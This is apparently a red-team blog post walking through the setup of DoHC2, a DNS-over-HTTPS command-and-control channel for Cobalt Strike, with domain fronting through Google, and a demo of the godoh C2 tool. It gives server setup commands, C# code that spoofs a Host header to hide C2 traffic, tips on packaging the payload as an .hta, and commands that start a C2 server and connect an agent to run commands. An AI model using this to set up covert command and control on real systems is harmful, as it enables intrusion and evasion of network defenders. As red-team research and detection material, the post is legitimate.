Playing with DNS over HTTPS (DoH)

It has been nearly a month since I spoke at Mitre ATT&CKcon and shared some research into DNS over HTTPS (DoH) from a red team perspective. After releasing the tool DoHC2 there has been quite a few people using it and talking about DoH which is awesome! There's also been some other cool DoH research and tools. I wanted to put together a blog about some of this, starting with a more detailed step-by-step guide for setting up DoHC2 for use with Cobalt Strike. I also wanted to demo setting it up with domain fronting which takes couple of tweaks. A few people have done this but others have asked about it. I then wanted to take a quick look at some of the other DoH research particularly the tool from @leonjza godoh.

ATT&CKcon have now released slides and videos from all the talks. So be sure to check them out if you missed them, there's some great blue and red team content there. My talk is here if you want more background to this post:

Setting up DoHC2 Server

You will need:

  • Domain Name and DNS Provider / Server Set-Up
  • VPS (We use Ubuntu 18.04 LTS in this example)

First you need to set up an A record for your domain to point to the IP address of your VPS. Let's use 'entry.<domain>'.

For simplicity of the server side component of DoHC2 you need two NS records which point at your A record. Let's use 'send.<domain>' and 'receive.<domain>'.

Set these up as follows:

We now need to prepare the VPS:

sudo -i
# Update OS
apt update
apt upgrade
# Get pip3
apt install python3-pip
# Make sure we have pycrypto
pip3 install pycrypto
# Get DoHC2 server
wget https://raw.githubusercontent.com/SpiderLabs/DoHC2/master/Server/DoHC2.py
# Disable In Built DNS Resolution
systemctl disable systemd-resolved.service
systemctl stop systemd-resolved
# Edit DoHC2.py
vi DoHC2.py

We change INPUTDOMAIN and OUTPUTDOMAIN to reflect our NS records above. Also change 'max_records' to 5 if using Google as the DoH provider:

You need a Cobalt Strike team server set up with the External C2 port 2222 initiated (You can do this by loading https://raw.githubusercontent.com/SpiderLabs/DoHC2/master/external_c2.cna into your Cobalt Strike client or typing it into the console). The External C2 port should be visible to the DoHC2 server. You can either run the teamserver on the same host or port forward with something like the following, but it should be stable.

ssh -L 2222:127.0.0.01:2222 ubuntu@<teamserver>

You can test your External C2 connection by using the following script https://gist.github.com/dtmsecurity/44a20a73a2caf5a7d1a92db56ac0b761 which pulls the stager and writes it to a file.

We now run the DoHC2 server (ensuring that port 53/udp is exposed to the Internet/DoH provider):

python3 ./DoHC2.py

Set-Up DoHC2 Client

For this you need Visual Studio and to pull the DoHC2 project from:

https://github.com/SpiderLabs/DoHC2

We start by modifying and building the ExternalC2 library. To make Domain Fronting work we need to change getTextRecords() in DoHChannel.cs. You may need to mess around when loading this project to get Newtonsoft.Json to be recognised which is the only dependency. This seemed to work for me in the Nuget console to fix this:

Uninstall-Package Newtonsoft.Json
Install-Package Newtonsoft.Json

Here is one way of doing this forcing a 'Host' header of 'dns.google.com':

        public List<string> getTxtRecords(string hostname)
        {
            List<string> txtResponses = new List<string>();

            string url = String.Format("{0}?name={1}&type=TXT", dohResolver, hostname);

            Console.WriteLine("[URL] {0}", url);

            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls| SecurityProtocolType.Tls11| SecurityProtocolType.Tls12| SecurityProtocolType.Ssl3;

            HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));
            request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)";
            request.Accept = "application/dns-json";
            request.Host = "dns.google.com";

            using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
            using (Stream stream = response.GetResponseStream())
            using (StreamReader reader = new StreamReader(stream))
            {
                var json = reader.ReadToEnd();
                try{
                    JObject result = JObject.Parse(json);
                    for (int i = 0; i < result["Answer"].Count(); i++)
                    {
                        string data = (string)result["Answer"][i]["data"];
                        txtResponses.Add(data.Replace("\"", ""));
                        Console.WriteLine("[TXT] {0}", data.Replace("\"", ""));
                    }
                }
                catch
                {
                    txtResponses.Add("");
                }
            }

           
            System.Threading.Thread.Sleep(100);
            return txtResponses;
        }

Click 'Build' and assuming we have the release target set to 'Debug' we should have 'ExternalC2.dll' in 'bin\Debug'. Typically if you were going to deliver this as a payload you could use something like using DotNetToJS to embed this within a payload i.e. .hta. But in our instance we will create a .NET binary for to initiate it using the DoHC2Runner template contained within the DoHC2 project. Load this project and then add a reference to our DLL:

We now change the doh.Configure() line as follows matching our server config but also using 'https://google.com/resolve':

Running this project should cause a beacon to stage and drop into your Cobalt Strike instance:

Playing with godoh

godoh is a great standalone tool that demonstrates DoH based command and control. Again starting with a Ubuntu 18.084 LTS server and one of the records we configured above, it is super easy to get started. Especially if you use the pre-built releases that are available. You will also notice that it now does Google domain fronting out of the box as the default provider.

To run a server:

wget https://github.com/sensepost/goDoH/releases/download/1.4/godoh-linux64
./godoh-linux64 c2 -d send.b-y.uk

Connect an agent:

wget https://github.com/sensepost/goDoH/releases/download/1.4/godoh-linux64
./godoh-linux64 agent -d send.b-y.uk

Agent successfully checking in:

We can now interact with this godoh agent! Here we run the command 'id':

Massive shout out to Leon Jacobs for this tool and I look forward to playing with it some more.

Other Research

If you want to read more check out:

Also a shout out to Sunny (@sunn_y_k) for getting DoHC2 working with fronting prior to this:

Also Vincent (@vysecurity) for some of the DoH research he's been doing also including some enumeration for public DoH servers:

I am also going to try and maintain a list of public DNS over HTTPS providers here for a while - give me a shout if you find any new ones:

https://dtm.uk/dns-over-https-doh-servers/

For informational and educational purposes only.

"Sometimes, hacking is just someone spending more time on something than anyone else might reasonably expect." @JGamblin